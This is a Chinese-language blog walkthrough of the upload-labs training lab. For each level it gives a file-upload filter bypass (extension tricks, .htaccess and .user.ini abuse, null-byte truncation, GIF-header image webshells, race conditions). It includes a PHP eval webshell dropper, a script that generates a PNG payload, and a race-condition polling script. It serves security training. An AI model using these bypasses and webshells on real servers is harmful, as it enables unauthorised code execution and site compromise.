uploads-labs文件上传总结

Upload-labs上传类型总结和思考

项目地址:https://github.com/c0ny1/upload-labs

  • Pass-01(客户端JS绕过)
    方法:禁用js

  • Pass-02(MIME类型验证)
    方法:MIME类型验证实质就是检测Content-Type头,bp抓包,修改Content-Type

  • Pass-03(绕过黑名单验证)
    方法:黑名单一般都是禁用php,asp,jsp等等这些文件,我们可以用php3这样去绕过

  • Pass-04(.htaccesss上传)
    方法:上传一个.htaccess文件.
    内容为:

    SetHandler application/x-httpd-php

.htaccess文件介绍:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

  • Pass-05(黑名单验证,.user.ini)
    方法:先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif,.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini,在upload目录中有readme。php文件,访问执行命令

  • Pass-06(大小写绕过)
    方法:将文件扩展名改成大写phP绕过

  • Pass-07(空格绕过)
    方法:bp抓包,在php后面加空格

空格绕过原理:Windows系统下,对于文件名中空格会被作为空处理,程序中的代码却没添加子哦对那个删除空格功能,从而绕过黑名单

  • Pass-08(.号绕过)
    方法:将文件扩展名变成php.绕过

.号绕过原理:Windows系统下,文件后缀名最后一个点会被自动去除

  • Pass-09(特殊符号绕过)
    方法:bp抓包,在php后面加上::$DATA,就能上传一个php文件上去

特殊符号绕过原理:Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析

  • Pass-10(路径组合绕过)
    方法:bp抓包,将2.php改为2.php. .这样上传上去去掉最后的点,去掉空格,就剩下2.php.而最后的.在Windows系统下会被自动删除于是2.php就上传成功

  • Pass-11(双写绕过)
    方法:将1.php改为1.pphphp

  • Pass-12(GET型00截断)
    方法:00截断需要两个条件:
    1.php版本小于5.3.4
    2.php的magic_quotes_gpc为OFF状态
    上传一个jpg格式图片马,bp抓包,在upload/后面加上2.php%00

  • Pass-13(POST型00截断)
    方法:在POST请求中,%00不会被自动解码,需要在16进制中进行修改00

  • Pass-14(图片webshell上传)
    方法:上传的图片webshell或者一句话需要利用文件包含漏洞才能执行
    文件包含漏洞代码

做一个文件包含漏洞php文件放入upload中用来检测是否符合要求
查看一下网页源代码发现要检测前两个字节,于是在图片马内容最前面可以加上GIF98A,成功以gif格式上传

  • Pass-15(图片webshell上传)
    方法:在文件头加入GIF89a上传,在结合文件包含漏洞

  • Pass-16(图片webshell上传)
    方法:在文件头加入GIF89a上传,在结合文件包含漏洞

  • Pass-17(图片webshell上传)
    方法:在文件头加入GIF89a上传,在结合文件包含漏洞

  • Pass-18(二次渲染)
    方法:用某大神的脚本生成符合条件的png,写idat

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

触发这个洞的话,在url后面加&0=phpinfo(),POST传1=-1

  • Pass-19(条件竞争上传)
    方法:先写一个pass.php
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["yyy"])?>’);
?>

(只要被成功当作PHP文件解析,就会生成shell.php木马文件)

python脚本运行

import requests
url = "ip:port/upload-labs/upload/pass.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

burpsuite开始无限制重放数据包,直到python脚本出现OK.

  • Pass-19(Apache未知扩展名解析漏洞)
    方法:利用apache解析漏洞,传shell.php.7z,一直上传会成功上传shell木马

  • Pass-20(拓展后缀绕过)
    方法:上传一个shell木马文件,然后对文件重命名,如果后缀名命名为php会被拦截,在命名后面加个.绕过

  • Pass-21(数组绕过)

%title插图%num

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){//这一步是检查上传的文件是否为规定的类型
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//如果通过post传递的参数save_name为空,$file就为上传文件本来的名字的值,否则为post传递的save_name的值
        if (!is_array($file)) {//因为我们都是填写了保存名称,即用post传递了save_name的值,所以这里判断我们填写的保存名称是否为一个数组
            $file = explode('.', strtolower($file));//不是一个数组就利用.对文件名进行分割
        }

        $ext = end($file);//数组最后一个值即文件后缀名给$ext
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {//再一次进行判断是否为允许上传的类型
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//将数组count($file)-1的值给了$file_name,最后拼接到数组第一个元素后后,reset()为将读取数组第一个元素
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

它用end()读取最后数组最后一个值来进行过滤,又将file[count(file) - 1]的值拼接到数组第一个元素后后,所以可以上传save_name为一个数组,数组第一个元素为*.php,第二个元素为空,第三个元素为jpg。此时利用jpg通过判断,将空拼接到.php后文件仍为.php

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇